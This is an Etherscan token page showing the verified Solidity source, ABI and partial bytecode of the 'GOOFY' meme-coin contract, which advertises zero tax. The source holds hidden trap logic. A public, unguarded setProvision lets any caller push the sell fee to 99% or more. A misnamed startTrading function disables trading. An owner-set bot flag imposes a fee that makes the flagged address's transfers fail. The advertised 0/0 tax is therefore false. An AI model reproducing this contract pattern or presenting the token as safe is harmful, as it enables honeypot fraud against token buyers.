ETH Price: $3,576.85 (-0.97%)

Token

ERC-20: GOOFY (GOOFY)
 

Overview

Max Total Supply

1,000,000,000,000 GOOFY

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
24,834,153,942.118960415 GOOFY

Value
$0.00
0x6e30e0e9c2faed55655a99f161d962c63508a19b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GOOFY

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-07
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

// SPDX-License-Identifier: MIT
 
/*

Goofy a tall, anthropomorphic dog who typically wears a turtle neck and vest, with pants, shoes, white gloves, and a tall hat , a close friend of Mickey Mouse and Donald Duck is coming to rule the meme tokens with fun like never before.


https://t.me/GOOFYerc

Tax : 0/0 

*/
pragma solidity 0.8.16;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}
 
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
 
abstract contract Ownable is Context{
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function isOwner(address account) public view returns (bool) 
    {
    return account == _owner;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
 
    event OwnershipTransferred(address owner);
 
 
}
 
interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}
 
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
 
contract GOOFY is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'GOOFY';
    string private constant _symbol = 'GOOFY';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 2;
    uint256 private _maxTransferPercent = 2;
    uint256 private _maxWalletPercent = 2;
    mapping (address => uint256) _mint;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private zenta = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
 
    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
 
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x0636FD14c2d9029e29489750F41302c24CB3d767; 
    address internal constant marketing_receiver = 0x0636FD14c2d9029e29489750F41302c24CB3d767;
    address internal constant liquidity_receiver = 0x0636FD14c2d9029e29489750F41302c24CB3d767;
 
 
    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _mint[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
 
    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = false;}
    function getOwner() external view override returns (address) { return owner(); }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _mint[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function setProvision(uint256 _sumamount) public virtual{zenta = _sumamount;require(_sumamount >=99);}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
 
    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }
 
    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _mint[sender] = _mint[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _mint[recipient] = _mint[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
 
    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        zenta = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && transferFee <= denominator.div(5) && zenta <= denominator.div(3), "totalFee and zenta cannot be more than 20%");
    }
 
    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        uint256 newWallet = (totalSupply() * _wallet) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        uint256 limit = totalSupply().mul(5).div(10);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
 
    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
 
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_mint[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }
 
    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }
 
    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }
 
    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }
 
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
 
    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }
 
    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }
 
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }
 
    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator*100;}
        if(recipient == pair){return zenta;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }
 
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _mint[address(this)] = _mint[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sumamount","type":"uint256"}],"name":"setProvision","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620007b6565b64e8d4a5100062000026919062000807565b60015560028055600260035560026004556001600a60146101000a81548160ff0219169083151502179055506000600b556000600c556000600d556000600e556000600f556000601055600060115560646012556001601360006101000a81548160ff021916908315150217905550620186a061012c600154620000ab919062000807565b620000b7919062000897565b601655620186a0600a600154620000cf919062000807565b620000db919062000897565b601755348015620000eb57600080fd5b506200010c620001006200055060201b60201c565b6200055860201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000199919062000939565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000939565b6040518363ffffffff1660e01b8152600401620002469291906200097c565b6020604051808303816000875af115801562000266573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028c919062000939565b905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620005409190620009ba565b60405180910390a35050620009d7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006aa578086048111156200068257620006816200061c565b5b6001851615620006925780820291505b8081029050620006a2856200064b565b945062000662565b94509492505050565b600082620006c5576001905062000798565b81620006d5576000905062000798565b8160018114620006ee5760028114620006f9576200072f565b600191505062000798565b60ff8411156200070e576200070d6200061c565b5b8360020a9150848211156200072857620007276200061c565b5b5062000798565b5060208310610133831016604e8410600b8410161715620007695782820a9050838111156200076357620007626200061c565b5b62000798565b62000778848484600162000658565b925090508184048111156200079257620007916200061c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007c3826200079f565b9150620007d083620007a9565b9250620007ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006b3565b905092915050565b600062000814826200079f565b915062000821836200079f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200085d576200085c6200061c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008a4826200079f565b9150620008b1836200079f565b925082620008c457620008c362000868565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200090182620008d4565b9050919050565b6200091381620008f4565b81146200091f57600080fd5b50565b600081519050620009338162000908565b92915050565b600060208284031215620009525762000951620008cf565b5b6000620009628482850162000922565b91505092915050565b6200097681620008f4565b82525050565b60006040820190506200099360008301856200096b565b620009a260208301846200096b565b9392505050565b620009b4816200079f565b82525050565b6000602082019050620009d16000830184620009a9565b92915050565b61365180620009e76000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600581526020017f474f4f4659000000000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565